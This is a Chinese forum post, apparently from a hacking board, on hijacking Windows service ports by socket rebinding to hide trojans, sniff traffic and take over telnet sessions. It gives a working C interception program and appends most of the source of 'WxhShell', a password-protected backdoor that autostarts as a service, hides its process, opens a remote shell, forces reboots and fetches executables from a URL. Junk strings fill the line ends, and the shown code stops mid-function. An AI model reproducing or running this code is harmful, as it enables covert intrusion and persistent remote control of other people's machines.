社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13846阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >_P7k5Y^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zWpJ\/k~  
Kk1591'  
  saddr.sin_family = AF_INET; /^^t>L  
XL@i/5C[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~K}iVX  
\Km!#:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n/#zx:d?  
3ny>5A!;2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]|62l+  
bVmHUcR0  
  这意味着什么?意味着可以进行如下的攻击: ZC 7R f  
S[,!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^;jJVYx-PP  
^T@ (`H4@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bh|M]*Pq  
yQE|FbiA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eznt "Rr2  
O*{<{3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Pe6}y  
"*W:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2^w3xL"   
r!SMF ]?SJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^Gt&c_gH  
2g~qVT,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RUqN,C,m5I  
i'9aQi"G  
  #include XWN ra  
  #include <WFA3  
  #include VZo[\sWf  
  #include    ,Oa-AF/p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   stuj,8  
  int main() >QO^h<.>  
  { eygmhaE  
  WORD wVersionRequested; +\g/KbV7  
  DWORD ret; jGpSECs  
  WSADATA wsaData; C(zgBk  
  BOOL val; 6" fYSn>  
  SOCKADDR_IN saddr; Q^X  
  SOCKADDR_IN scaddr; -F=?M+9[  
  int err; VuA7rIF$66  
  SOCKET s; k7JE{(Ok  
  SOCKET sc; WLl_;BgN  
  int caddsize; q1ybJii  
  HANDLE mt; i!g}PbC[  
  DWORD tid;   r09gB#K4  
  wVersionRequested = MAKEWORD( 2, 2 ); `G*7y7  
  err = WSAStartup( wVersionRequested, &wsaData ); zQ3m@x  
  if ( err != 0 ) { +GCN63 nX  
  printf("error!WSAStartup failed!\n"); ;6S,|rC ]  
  return -1; XN9s!5A<L)  
  } Y~\71QE>  
  saddr.sin_family = AF_INET; :T^!<W4  
   wKOljE6d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _: @~ bHd  
uQh dg4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X[/>{rK  
  saddr.sin_port = htons(23); .nN=M>#/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4x7(50hp#  
  { 6. N?=R  
  printf("error!socket failed!\n"); iUSP+iC,  
  return -1; *69{#qN  
  } 0K/Pth"*  
  val = TRUE; S_; 5mb+b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k(LZ,WSR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HJ#3wk"W  
  { E;!pK9wL|  
  printf("error!setsockopt failed!\n"); $A~UA  
  return -1; <xM$^r)  
  } DfYOGs]@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3ARvSz@5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BS3Aczwk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,=sbK?&  
pde,@0(Fa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \7b-w81M-  
  { DUH\/<^g  
  ret=GetLastError(); {UqSq  
  printf("error!bind failed!\n"); wM.z/r\p  
  return -1; g4b-~1[S  
  } tUX4#{)q(j  
  listen(s,2); y cYT1Sg 8  
  while(1) 2iOn\ ^]x  
  { vHR-mQUs  
  caddsize = sizeof(scaddr); VB>KT(n-b  
  //接受连接请求 Q{%2Npvq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dRw O t  
  if(sc!=INVALID_SOCKET) :"m~tU3&  
  { ( w4w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y8} fj=  
  if(mt==NULL) 7$3R}=Z`\q  
  { S1jI8 #z}_  
  printf("Thread Creat Failed!\n"); =5:L#` .  
  break; z4t.- 9(C  
  } $t*>A+J  
  } |-Rg].  
  CloseHandle(mt); kk|7{83O  
  } GJZGHUB=>  
  closesocket(s); ,RmXZnWY  
  WSACleanup(); h>ZNPP8N  
  return 0; 9%fd\o@X  
  }   VnlgX\$}  
  DWORD WINAPI ClientThread(LPVOID lpParam)  )ph**g  
  { "FuOWI{in  
  SOCKET ss = (SOCKET)lpParam; 2P\k;T(  
  SOCKET sc; hxG=g6:G  
  unsigned char buf[4096];  R&oC9<  
  SOCKADDR_IN saddr; #'`!*VI  
  long num; MZYh44  
  DWORD val; tG8)!  
  DWORD ret; Ah^0FU%!g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5x$/.U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `O~NT'Ed8  
  saddr.sin_family = AF_INET; Mc8|4/<Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .'`7JU#{  
  saddr.sin_port = htons(23); RLnsy,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "53'FRj_\  
  { eKRslMa  
  printf("error!socket failed!\n"); mL5Nu+#  
  return -1; j /d? c5  
  } \9;SOAv  
  val = 100; vjo@aY.x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?yAp&Ad  
  { +65OR'd  
  ret = GetLastError(); #Z;6f{yWf  
  return -1; nsT]Yxo%M  
  } 6yDj1PI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g%C!)UbT  
  { K4T#8K]aZF  
  ret = GetLastError(); s |40v@ M  
  return -1; |W't-}yf  
  } Wp2W:JX:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @|I:A  
  { m/{HZKh  
  printf("error!socket connect failed!\n"); K6uZ4 m;  
  closesocket(sc); hKkUsY=R  
  closesocket(ss); Ufx^@%v  
  return -1; 1 zo0/<dk  
  } 3C:!\R  
  while(1) {?2jvv  
  { N=2BrKb)o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4Cd#S9<ed  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +f5|qbX/\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !v/j*'L<M}  
  num = recv(ss,buf,4096,0); GUX! kj  
  if(num>0) %62W[Oh5  
  send(sc,buf,num,0); $O\I9CGr$  
  else if(num==0) cZ8lRVaWW  
  break; !WTZ =|  
  num = recv(sc,buf,4096,0); x" N{5  
  if(num>0) | aAu 4   
  send(ss,buf,num,0); oAnNdo  
  else if(num==0) j@w+>h  
  break; 3HtLD5%Q  
  } :S['hBMN  
  closesocket(ss); ioIOyj  
  closesocket(sc); OO7sj@  
  return 0 ; 7!-3jU@m  
  } 4Sj;38F .1  
%:jVx  
"o| f  
========================================================== +&AKDVmx  
W|~Jl7hs8Q  
下边附上一个代码,,WXhSHELL #=}dv8  
=O~ J  
========================================================== It5U=PU  
M lv  
#include "stdafx.h" iTX:*$~I  
1\'?.  
#include <stdio.h> tVAWc$3T  
#include <string.h> ;f]p`!] 3  
#include <windows.h> h;q= <[h\  
#include <winsock2.h> m=s aUhI*9  
#include <winsvc.h> ">{Ruv}$  
#include <urlmon.h> 4jWzYuI&J  
WO}l&Q  
#pragma comment (lib, "Ws2_32.lib") {|R@\G.1(  
#pragma comment (lib, "urlmon.lib") Sio> QL Y  
t^8 ii  
#define MAX_USER   100 // 最大客户端连接数 Nu/D$m'PY  
#define BUF_SOCK   200 // sock buffer N}$$<i2o  
#define KEY_BUFF   255 // 输入 buffer _oV;Y`_  
z XI [f  
#define REBOOT     0   // 重启 \hlQu{q.  
#define SHUTDOWN   1   // 关机 7g* "AEk  
;8| D4+  
#define DEF_PORT   5000 // 监听端口 $0-}|u]5U  
7@[HRr  
#define REG_LEN     16   // 注册表键长度 y_s^dQe  
#define SVC_LEN     80   // NT服务名长度 fX:)mLnO/  
mYU7b8x_  
// 从dll定义API k`j>lhH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zC@ ziH>{]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {S9't;%]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +%O_xqq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P^lzl:|  
/J0YF  
// wxhshell配置信息 kiah,7V/  
struct WSCFG { z;c~(o@4  
  int ws_port;         // 监听端口 7o+JQ&fF;  
  char ws_passstr[REG_LEN]; // 口令 ;~A-32;Y4  
  int ws_autoins;       // 安装标记, 1=yes 0=no xJ-(]cO'  
  char ws_regname[REG_LEN]; // 注册表键名  0 |/:m  
  char ws_svcname[REG_LEN]; // 服务名 fbl8:c)I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U{ZE|b. ?b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r8R]0\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )td?t.4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no # NoY}*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AX`>y@I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8+7n"6GY2/  
gs xT  
}; Q3@MRR^tY  
X0QY:?  
// default Wxhshell configuration !!{!T;)l  
struct WSCFG wscfg={DEF_PORT, _f"HUKGN  
    "xuhuanlingzhe", /~8<;N>,+  
    1, %^`b)   
    "Wxhshell", ^~p^N <  
    "Wxhshell", n+sV $*wvS  
            "WxhShell Service", wqB 5KxO  
    "Wrsky Windows CmdShell Service", 3Y;<Q>roT  
    "Please Input Your Password: ", 8\AyKw  
  1, i)@IV]]6yL  
  "http://www.wrsky.com/wxhshell.exe", YK=o[nPmK  
  "Wxhshell.exe" g9T9TQ-O  
    }; C >@T+xOZ  
1X ?9Ji)h  
// 消息定义模块 m'!smS x8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *mvDh9v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cC4 2b2+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GlVb |O"  
char *msg_ws_ext="\n\rExit."; /LH# 3  
char *msg_ws_end="\n\rQuit."; @Sik~Mm_h  
char *msg_ws_boot="\n\rReboot..."; Gp l  
char *msg_ws_poff="\n\rShutdown..."; OI8Hf3d=  
char *msg_ws_down="\n\rSave to "; jD<fu  
M1Frn n  
char *msg_ws_err="\n\rErr!"; %Voq"}}N  
char *msg_ws_ok="\n\rOK!"; Y=NXfTc  
0P+B-K>n  
char ExeFile[MAX_PATH]; l[,RA?i {  
int nUser = 0; nDFF,ge;a#  
HANDLE handles[MAX_USER]; ms(Z1ix^  
int OsIsNt; o4[  
L~Hl?bK  
SERVICE_STATUS       serviceStatus; `wMHjcUP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x)]_]_vX  
]-rhc.Gk@1  
// 函数声明 ym]12PAU5  
int Install(void); EMTAl;P  
int Uninstall(void); <P%<EgOE  
int DownloadFile(char *sURL, SOCKET wsh); ?Nbc#0pb7  
int Boot(int flag); >~%EB?8  
void HideProc(void); V[Z^Z  
int GetOsVer(void); !vrdu OB  
int Wxhshell(SOCKET wsl); _EusY3q  
void TalkWithClient(void *cs); |}FK;@'I6  
int CmdShell(SOCKET sock); D*nNu]|j  
int StartFromService(void); .uoQ@3  
int StartWxhshell(LPSTR lpCmdLine); ,/bSa/x`  
bG|aQ2HW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5z T~/6-(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Qu.-F#g  
"mk4O4dF  
// 数据结构和表定义 tM% f#O  
SERVICE_TABLE_ENTRY DispatchTable[] = u@@0YUa  
{ 7CGxM  
{wscfg.ws_svcname, NTServiceMain}, G1!yPQa7d  
{NULL, NULL} l%f &vOcd  
}; ].!^BYNht  
ytDp 4x<W)  
// 自我安装 7 6} a  
int Install(void) `R\nw)xq  
{ z5> {(iY;,  
  char svExeFile[MAX_PATH]; +=N!37+G  
  HKEY key; =JR6-A1>  
  strcpy(svExeFile,ExeFile); 5PRS|R7  
>RTmfV  
// 如果是win9x系统,修改注册表设为自启动 7GFE5>H  
if(!OsIsNt) { Jc3Z1Tt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hoDE*>i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +H4H$H  
  RegCloseKey(key); 2_i9 q>I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j "^V?e5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2!Gb4V  
  RegCloseKey(key); AeZ__X  
  return 0; /uNgftj  
    } y8!#G-d5  
  } k$NNpv&;d  
} y-1!@|l0:6  
else { a*D])Lu[  
jG E=7  
// 如果是NT以上系统,安装为系统服务 {\ P`-'C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IQm[ ,Fh  
if (schSCManager!=0) Twi7g3}/jB  
{ r](%9Y  
  SC_HANDLE schService = CreateService 7<Yf  
  ( L3@upb  
  schSCManager, Ld9YbL:  
  wscfg.ws_svcname, $*k9e^{S  
  wscfg.ws_svcdisp, !Z}d^$  
  SERVICE_ALL_ACCESS, CI}zu;4|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4H]~]?F&  
  SERVICE_AUTO_START, sN_c4"\q  
  SERVICE_ERROR_NORMAL, bzC| aUGM  
  svExeFile, -,Oq=w*EV  
  NULL, U?[_ d  
  NULL, J?1U'/Wx2  
  NULL, "J_#6q*  
  NULL, [#3*R_#8R  
  NULL Rt6(y #dF  
  ); \I[f@D-J  
  if (schService!=0) 1[ 4)Sq?  
  { q; n  
  CloseServiceHandle(schService); d'okXCG  
  CloseServiceHandle(schSCManager); gR]NH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oR1HJ2>Z1  
  strcat(svExeFile,wscfg.ws_svcname); %Ums'<xJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FD*) @4<o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ e6zCN^t  
  RegCloseKey(key); ;WqWD-C  
  return 0; vUNmN2pRJ  
    } )UoF*vC(  
  } ib,BYFKEW  
  CloseServiceHandle(schSCManager); 3$yOv "`  
} ~ZuFMVR  
} ';>A=m9(4%  
Bokpvd-c7  
return 1; cN&]JS,  
} P2t{il   
bgNN0,+8  
// 自我卸载 ~rl,Hr3Z o  
int Uninstall(void) \8}!aTC  
{ &%\H170S  
  HKEY key; tEbR/? ,GI  
~TvKMW6/#  
if(!OsIsNt) { Ig{ 3>vB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "rJJ~[Y  
  RegDeleteValue(key,wscfg.ws_regname); x&4gy%b  
  RegCloseKey(key); O'L9 s>B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g)M"Cx.  
  RegDeleteValue(key,wscfg.ws_regname); hUo}n>Aa  
  RegCloseKey(key); v|K'M,E  
  return 0; 5Kw$QJ/  
  } /9 ^F_2'_  
} K K_  
} %0MvCm  
else { oj'a%mx  
=mQdM]A)2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2Vwv#NAV k  
if (schSCManager!=0) 1!P\x=Nn_  
{ 7/>#yR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hdxon@,+cd  
  if (schService!=0) jY|fP!?[  
  { <{Pr(U*7}  
  if(DeleteService(schService)!=0) { 7J6D wh{  
  CloseServiceHandle(schService); m(0c|-  
  CloseServiceHandle(schSCManager); dR|*VT\  
  return 0; d>wpG^"w  
  } z=[?&X]O9b  
  CloseServiceHandle(schService); 1<(('H  
  } gT&s &0_7  
  CloseServiceHandle(schSCManager); $E,,::oJ  
} ,Qb(uirl]  
} B_3:.1>"BM  
J4l \  
return 1; 9[@K4&  
} ri?k}XnhX  
H~ `JAplr  
// 从指定url下载文件 ^lP;JT?  
int DownloadFile(char *sURL, SOCKET wsh) U-6pia /o  
{ xro%AM  
  HRESULT hr; }1}L&M@  
char seps[]= "/"; iU1yJ=  
char *token; pcC/$5FQ  
char *file; hziPHuK9,  
char myURL[MAX_PATH]; vvwQ/iJO4Q  
char myFILE[MAX_PATH]; \\d!z-NOk?  
>gSiH#>  
strcpy(myURL,sURL); 7mT iO?/y<  
  token=strtok(myURL,seps); `ttqgv\  
  while(token!=NULL) Iss)7I  
  { 6!T9VL\=H  
    file=token; /YrBnccqD  
  token=strtok(NULL,seps); :oeDksld  
  } 6>)oG6  
uozK'L  
GetCurrentDirectory(MAX_PATH,myFILE); ?"Ec#,~  
strcat(myFILE, "\\"); 5fjL  
strcat(myFILE, file); ;QS(`SK l  
  send(wsh,myFILE,strlen(myFILE),0); CxbGL  
send(wsh,"...",3,0); G}V5PEF]`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !V~,aoKTj  
  if(hr==S_OK) g)`;m%DG6  
return 0; T? e(m  
else 2qgm(jo *y  
return 1; ?qt.+2:  
{^V9?^?d (  
} VNT*@^O_=  
vAt ]N)R  
// 系统电源模块 'Z}3XVZEN  
int Boot(int flag) ~zO>Q4-k  
{ sBq6,Iu  
  HANDLE hToken; K*sav?c  
  TOKEN_PRIVILEGES tkp; ZFFKv  
O =gv2e  
  if(OsIsNt) { W&Xm_T[ Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GC3WB4iY@U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  SCq:jI  
    tkp.PrivilegeCount = 1; }v4T&/vt-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I3^}$#>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VOkSR6  
if(flag==REBOOT) { Gv\:Agi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;^f ;<  
  return 0; CBKLct>  
} );!IGcgF  
else { 4Je[!X@C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8_=MP[(H  
  return 0; 4T??8J-J  
} VtYrU>q  
  } $i9</Es P  
  else { es!>u{8)  
if(flag==REBOOT) { X6-;vnlKN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ANuO(^  
  return 0; bB+ 4  
} TJ_pMU  
else { qx f8f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VXP@)\!  
  return 0; r>_40+|&  
} "STd ;vR  
} cUj^aTpm  
svRYdInBNu  
return 1; ~kp,;!^vr  
} i38`2  
+[B@83  
// win9x进程隐藏模块 +aZcA#%  
void HideProc(void) p?V@P6h  
{ a\ZNNk  
c1sVdM}|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G/N1[)  
  if ( hKernel != NULL ) E2i'lO\P  
  { ]S+KH \2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y_= ]w1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *b,4qMr  
    FreeLibrary(hKernel); k{C03=xk  
  } zFm:=,9  
" 7g\X$  
return; `6RR/~kP(  
} B*OBXN>'P  
wO&+Bb\=  
// 获取操作系统版本 F S!D  
int GetOsVer(void) *nx$r[Mqj  
{ 21sXCmYR,t  
  OSVERSIONINFO winfo; 5*\]F}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t|?eNKVV9'  
  GetVersionEx(&winfo); V: n\skM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d=eIsP'h  
  return 1; FSD~Q&9&  
  else F10TvJ U  
  return 0; [9d4 0>e  
} `Rx\wfr}  
_V,bvHWlM  
// 客户端句柄模块 \\P*w$c   
int Wxhshell(SOCKET wsl) cq"#[y$r  
{ C$4!|Wg3  
  SOCKET wsh; BFswqp:  
  struct sockaddr_in client; a\B'Qe+  
  DWORD myID; 8 -YC#&  
!rTkH4!_  
  while(nUser<MAX_USER) ZtGtJV"H  
{ Vb,'VN%   
  int nSize=sizeof(client); x(7Q5Uk\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); td5! S]  
  if(wsh==INVALID_SOCKET) return 1; Oh5aJ)"D  
3YD.Fjz$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xQDWnpFc  
if(handles[nUser]==0) #<DS-^W!  
  closesocket(wsh); W|(U} PrC  
else -T2w?|  
  nUser++; O"~CZh,:r}  
  } KnC:hus  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F$@(0c  
_c>8y  
  return 0; 6PT"9vR`)  
} I~Q G  
<.=-9O6  
// 关闭 socket 9@>Q7AUCQ  
void CloseIt(SOCKET wsh) nLY(%):(P  
{ zALtG<_t  
closesocket(wsh); x7!gmbMfK'  
nUser--; . "Q}2  
ExitThread(0); 6,~]2H'zq  
} y' RQ_Gi  
>';UF;\5]Q  
// 客户端请求句柄 q0{_w  
void TalkWithClient(void *cs) +1nzyD_E  
{ W H%EC$  
>e!Y63`  
  SOCKET wsh=(SOCKET)cs; e=`=7H4P  
  char pwd[SVC_LEN]; IL{tm0$r  
  char cmd[KEY_BUFF]; +-NH 4vUg  
char chr[1]; 6h7TM?lt  
int i,j; yJW/yt.l  
uj@d {AQ  
  while (nUser < MAX_USER) { K(#O@Wmjq  
6 IRa$h>H  
if(wscfg.ws_passstr) { @plh'f}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M{g.x4M@W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zy`T! $  
  //ZeroMemory(pwd,KEY_BUFF); sAS[wcOQ  
      i=0; o>HU4O}  
  while(i<SVC_LEN) { \V T.bUs  
hA1p#  
  // 设置超时 )]C(NTfxg  
  fd_set FdRead; d:{}0hmxI  
  struct timeval TimeOut; S]Ye`  
  FD_ZERO(&FdRead); 6&o?#l;|  
  FD_SET(wsh,&FdRead); *p0Kw>  
  TimeOut.tv_sec=8; uyvjo)T  
  TimeOut.tv_usec=0; o(yyj'=(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Id=V\'$o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0ax ;Q[z2  
Nx"|10gC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M9Xq0BBu  
  pwd=chr[0]; + />f?+  
  if(chr[0]==0xd || chr[0]==0xa) { 06e dVIRr  
  pwd=0; $f=6>Kn|^]  
  break; ~l}\K10L*  
  } !8&EkXTw,  
  i++; [lGxys)J  
    } gxmY^" Jy  
Xi;<O&+  
  // 如果是非法用户,关闭 socket Aw&0R"{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LfN,aW  
} Ax*xa6_2  
mrBK{@n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )E m`kle  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o4jh n[Fx  
5?m4B:W  
while(1) { EHK+qrym  
:eIQF7-  
  ZeroMemory(cmd,KEY_BUFF); 0i>p1/kv  
~ R eX$9  
      // 自动支持客户端 telnet标准   >[l2KD  
  j=0; Y h53Z"a  
  while(j<KEY_BUFF) { J-qUJX~4c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S6Y:Z0  
  cmd[j]=chr[0]; $\q.Zb  
  if(chr[0]==0xa || chr[0]==0xd) { ueEf>0  
  cmd[j]=0; DFvGc`O4  
  break; "^)GnK +-  
  } b[J0+l\!"  
  j++; /=g/{&3[a>  
    } -Jt36|O  
Z!3R  
  // 下载文件 8nwps(3  
  if(strstr(cmd,"http://")) { r7FJqd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TfHL'u9B  
  if(DownloadFile(cmd,wsh)) 2R W~jn"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^SK!? M  
  else *c 9 S.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /vC!__K9:  
  } }X. Fm'`  
  else { @^/aS;B$>  
2#ZqGf.'v  
    switch(cmd[0]) { Bo\~PV[  
  8tVSai8[  
  // 帮助 x~=Mn%Ew0  
  case '?': { Ze <)B *  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8Ltl32JSB[  
    break; 1OV] W f  
  } [SD mdr1T$  
  // 安装 hM[3l1o{|  
  case 'i': { q]Kv.x]$R  
    if(Install()) bGkLa/?S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 56 Z  
    else E#,\[<pc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U8-OQ:2.  
    break; T 2_iH=u  
    } ?#Y:2LqPC  
  // 卸载 R x(yn  
  case 'r': { qoZ)"M  
    if(Uninstall()) ,.h@tN<C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yL),G*[p\}  
    else >TiE Y MW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /8!n7a7  
    break; /;{L~f=et)  
    } jT!?lqr(Rb  
  // 显示 wxhshell 所在路径 I@\D tQZ  
  case 'p': { w=3 j'y{f  
    char svExeFile[MAX_PATH]; y0-UO+ ;  
    strcpy(svExeFile,"\n\r"); }Q@~_3,UJ  
      strcat(svExeFile,ExeFile); "n)AlAV@  
        send(wsh,svExeFile,strlen(svExeFile),0); =:!>0~  
    break; }h1eB~6M  
    } bYZU}Kl;(  
  // 重启 _#MKpH  
  case 'b': { / DP0K @%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8_ o~0lb  
    if(Boot(REBOOT)) gf?N(,  
